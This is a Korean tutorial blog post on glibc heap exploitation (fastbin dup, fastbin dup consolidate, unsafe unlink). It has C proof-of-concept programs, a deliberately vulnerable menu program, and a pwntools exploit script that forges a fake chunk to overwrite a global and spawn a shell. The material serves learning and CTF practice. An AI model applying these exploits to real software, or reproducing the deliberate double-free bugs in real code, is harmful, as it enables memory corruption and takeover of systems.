fastbin dup
공격조건
glibc 2.25이하, 임의로 malloc과 free 가능
fastbin dup란?
double free를 이용하여 fastbin freelist를 조작해 이미 할당된 메모리에 다시 힙청크를 할당하는 공격 기법이다.
#include <stdlib.h>
#include <stdio.h>
long win;
int main()
{
long *ptr1, *ptr2, *ptr3, *ptr4;
*(&win - 1) = 0x31;
ptr1 = malloc(0x20);
ptr2 = malloc(0x20);
free(ptr1);
free(ptr2);
free(ptr1);
ptr1 = malloc(0x20);
ptr2 = malloc(0x20);
ptr1[0] = &win - 2;
ptr3 = malloc(0x20);
ptr4 = malloc(0x20);
ptr4[0] = 1;
if(win) {
printf("Win!\\n");
}
fprintf(stderr, "ptr1 add : %p\\n", ptr1);
fprintf(stderr, "ptr3 add : %p\\n", ptr3);
return 0;
}
공격 순서
- fake chunk 대상인 win의 전 주소에 size 크기인 0x31을 먼저 넣는다. 이것은 할당하려는 chunksize의 check를 통과하기 위해서이다.
- ptr1, ptr2를 할당하고 해제한다. 그런데 free(ptr1)을 한번 더함으로서 double free 가 발생한다.
- 다시 2번의 할당이 이루어진다.
- ptr1[0] 즉 fd에 &win - 2 를 입력한다. win이 chunk가 된다면 prev_size와 size가 생기니 이를 고려한 값으로 들어가는 것이다.
- 그리고 ptr3을 할당함으로서 ptr1과 같은곳을 가리키고 link 된 다음 chunk는 fakechunk인 win부분의 chunk가 된다.
- ptr4를 할당하니 win부분이 할당된다. 그리고 ptr4[0]에 1을 넣으니 win이 1이되어서 Win이 출력이 된다.
ptr1과 ptr3는 같은 주소임을 알 수 있다.
만약 ptr1[0] = &win-2 이 없었더라면 ptr1[0]은 아직 ptr2 를 가리키고 있으니 ptr2랑 ptr4의 주소도 같다.
그래서 서로가 서로를 가리키는 1,3,5,7 … 과 2,4,6,8 은 계속 같은 곳을 가리키게 된다.
이렇게 임의의 주소 win에 값을 입력할 수 있음을 알 수 있다.
예제
// gcc -o fastbin_dup2 fastbin_dup2.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char name[16];
int overwrite_me;
int main()
{
int ch, idx;
int i = 0;
char *ptr[10];
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
printf("Name : ");
read(0, name, 16);
while (1) {
printf("> ");
scanf("%d", &ch);
switch(ch) {
case 1:
if( i >= 10 ) {
printf("Do not overflow\n");
exit(0);
}
ptr[i] = malloc(32);
printf("Data: ");
read(0, ptr[i], 32-1);
i++;
break;
case 2:
printf("idx: ");
scanf("%d", &idx);
free(ptr[idx]);
break;
case 3:
if( overwrite_me == 0xDEADBEEF ) {
system("/bin/sh");
}
break;
default:
break;
}
}
return 0;
}
푸는 순서는 이전과 같다. 여기서 유의해야할 점은 name와 overwrite_me가 전역변수이니 overwrite_me가 fakechunk로 쓰이면 name이 prev_size와 size역할을 해야한다는것이다. (마침 크기가 딱 16이다.) fastbin은 prev_size에 대한 검증이 없으니 prev_size는 그냥 0으로 채우고 size는 0x31로 한다. 그리고 이후의 작업을 한다.
exploit
from pwn import *
#왜인지 모르겠지만 도커에서 context.log_level = 'debug' 하면 에러뜸
p = process("./fastbindup2")
ex = p64(0)
ex += p64(0x31)
p.sendlineafter("Name : ", ex)
time.sleep(1)
p.sendlineafter(">",b'1')
time.sleep(1)
p.sendlineafter("Data: ",'')
time.sleep(1)
p.sendlineafter(">",b'1')
time.sleep(1)
p.sendlineafter("Data: ",'')
time.sleep(1)
p.sendlineafter(">",b'2')
time.sleep(1)
p.sendlineafter("idx: ",b'0')
time.sleep(1)
p.sendlineafter(">",b'2')
time.sleep(1)
p.sendlineafter("idx: ",b'1')
time.sleep(1)
p.sendlineafter(">",b'2')
time.sleep(1)
p.sendlineafter("idx: ",b'0')
time.sleep(1)
p.sendlineafter(">",b'1')
time.sleep(1)
p.sendlineafter("Data: ", p64(0x6010a0))
time.sleep(1)
p.sendlineafter(">", b'1')
time.sleep(1)
p.sendlineafter("Data: ", '')
time.sleep(1)
p.sendlineafter(">", b'1')
time.sleep(1)
p.sendlineafter("Data: ", '')
time.sleep(1)
p.sendlineafter(">",b'1')
time.sleep(1)
p.sendlineafter("Data: ", p64(0xDEADBEEF))
time.sleep(1)
p.sendlineafter(">", b'3')
p.interactive()
overwrite_me를 fakechunk로 만들고 0xDEADBEEF 값을 넣은 후 3을 입력해서 셸을 획득한다.
fastbin dup consolidate
fastbin dup consolidate 란?
우선 첫 번째 청크를 해제한 후 largebin 크기의 힙을 할당한다. 그러면 molloc_consolidate로 fastbin에 존재하는 chunk들은 unsortedbin → smallbin으로 갈 것이고 다시 첫 번째 청크를 해제하면 이는 다시 fastbin에 삽입되어서 에러없이 double free를 발생시킬 수 있다.
// gcc -o consolidate consolidate.c
#include <stdio.h>
#include <stdlib.h>
int main() {
void* p1 = malloc(0x10);
void* p2 = malloc(0x10);
free(p1); //(1)
void* p3 = malloc(0x400); //(2)
free(p1); //(3)
char *ptr = malloc(0x10); //(4)
char *ptr2 = malloc(0x10); //(5)
printf("ptr: %p\n", ptr);
printf("ptr2: %p\n", ptr2);
}
(1)번 후의 bin 상태이다.
(2)번에서 largebin 크기의 힙을 요청하자 malloc_consolidate 함수가 실행되어 fastbin에 chunk가 없어졌다.
그리고 smallbin에 chunk가 생겼다.
(3)번에서 double free가 일어난다.
하나의 주소가 fastbin에도 있고 smallbin에도 있다.
그래서 (4)와 (5)가 실행되었을 때 둘이 같은 주소를 가지게 된다.
Unsafe unlink
공격조건
glibc 2.23 미만
unlink란?
해제된 청크들을 연결하는 이중 연결 리스트에서 병합으로 인해 chunk가 연결리스트에서 빠지는 것이다.
Unsafe unlink란?
2.23 이전의 버전에서는 FD와 BK의 검증이 없어서 임의의 주소에 값을 쓰는 것이 가능했다.
타겟 chunk의 주소가 담겨있는 주소를 알 수 있을 때 해당 주소를 overwrite할 수 있다.
예
예를 보면서 이해해 보자
#include <stdio.h>
#include <stdlib.h>
#define ALLOC_SIZE 0x410
#define FAKE_FD_OFFSET 2
#define FAKE_BK_OFFSET 3
#define PREV_IN_USE_OFFSET -2
#define CHUNK_SIZE_OFFSET -1
long *ptr1;
long *ptr2;
long target = 0;
int main(void){
fprintf(stderr, "target : 0x%lx\\n", target);
ptr1 = malloc(ALLOC_SIZE);
ptr2 = malloc(ALLOC_SIZE);
ptr1[FAKE_FD_OFFSET] = (long)&ptr1 - sizeof(long)*3;
ptr1[FAKE_BK_OFFSET] = (long)&ptr1 - sizeof(long)*2;
ptr2[PREV_IN_USE_OFFSET] = ALLOC_SIZE;
ptr2[CHUNK_SIZE_OFFSET] &= ~1;
free(ptr2);
/*
Unlink is triggered.
ptr1->FAKE_BK->FD = FAKE_FD
now, ptr1 == (long)&ptr1 - sizeof(long)*3;
*/
// Arbitrary Write Primitive
ptr1[3] = (long)⌖
ptr1[0] = 0xdeadbeefcafebabe;
fprintf(stderr, "target : 0x%lx\\n", target);
}
핵심부분
Unsafe unlink의 핵심 부분은 아래와 같다.
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}
//unlink 내부 코드
if (_builtinexpect (FD->bk != P || BK->fd != P, 0)) \\
mallocprinterr (checkaction, "corrupted double-linked list", P, AV);
1)
prev_inuse 체크를 하여 해제하려는 chunk의 이전 chunk가 free인지 체크한다. 그리고 해제하려는 chunk의 이전 chunk의 unlink를 진행한다.
2)
unlink에서 FD→bk ≠ p || BK→fd ≠ p 를 체크한다. 즉 다음chunk의 이전 chunk가 나 이고 이전 chunk의 다음 chunk가 나 여야한다.
Fake Chunk
우선 대전제로
long *ptr1;
long *ptr2;
long target = 0;
가 되었다고 하자. 우선 Fake Chunk는 이런식으로 된다.
1)
ptr1에 fake chunk를 만들어낸다. 그리고 ptr2의 prevsize를 0x100 즉 ptr1에서 0x10만큼 빼서 fake chunk의 size를 넣는다.(왜냐하면 주소계산은 prevsize로 하기 때문이다.) 그리고 prev_inuse bit도 0으로 set한다. 그러면 우선 1) 은 해결되고 unlink가 실행된다.
2)
unlink가 진행되면 FD->bk = BK((p->fd->bk=p->bk) 가 수행되고 BK->fd = FD 가 수행된다.
결과적으로 ptr1의 값이 &ptr - 3 의 값을 가지게 된다.
그리고 아래와 같은 작업을 하면
ptr1[3] = (long)⌖
ptr1[0] = 0xdeadbeefcafebabe;
fprintf(stderr, "target : 0x%lx\n", target);
ptr1[3]는 &ptr을 참조하고 그 값을 target의 주소로 바꾼다. 그러면 ptr1에는 target의 주소가 있는 것이다. 여기서 다시 ptr1[0]을 하면 traget 주소를 참조해서 traget에는 0xdeadbeefcafebabe가 들어간다.
만약 ptr2를 해제하는게 아니라 ptr1을 해제한다면?
ptr2를 unlink해서 aaw를 해야한다, ptr2의 unlink여부는 ptr3의 prev inuse bit이다.
그니까 ptr2의 fd,bk를 조작하고 임의의 ptr3를 만들어서 prev inuse bit를 0으로 set 해야한다.
<틀린 부분이 있다면 비난과 욕설을 해주세요>
'포너블 > Heap' 카테고리의 다른 글
Overlapping chunks (1) | 2023.11.22 |
---|---|
unsorted bin attack & memory leak (0) | 2023.11.18 |
double free (0) | 2023.11.07 |
UAF (0) | 2023.11.07 |
Tcache function(2.31) (0) | 2023.09.22 |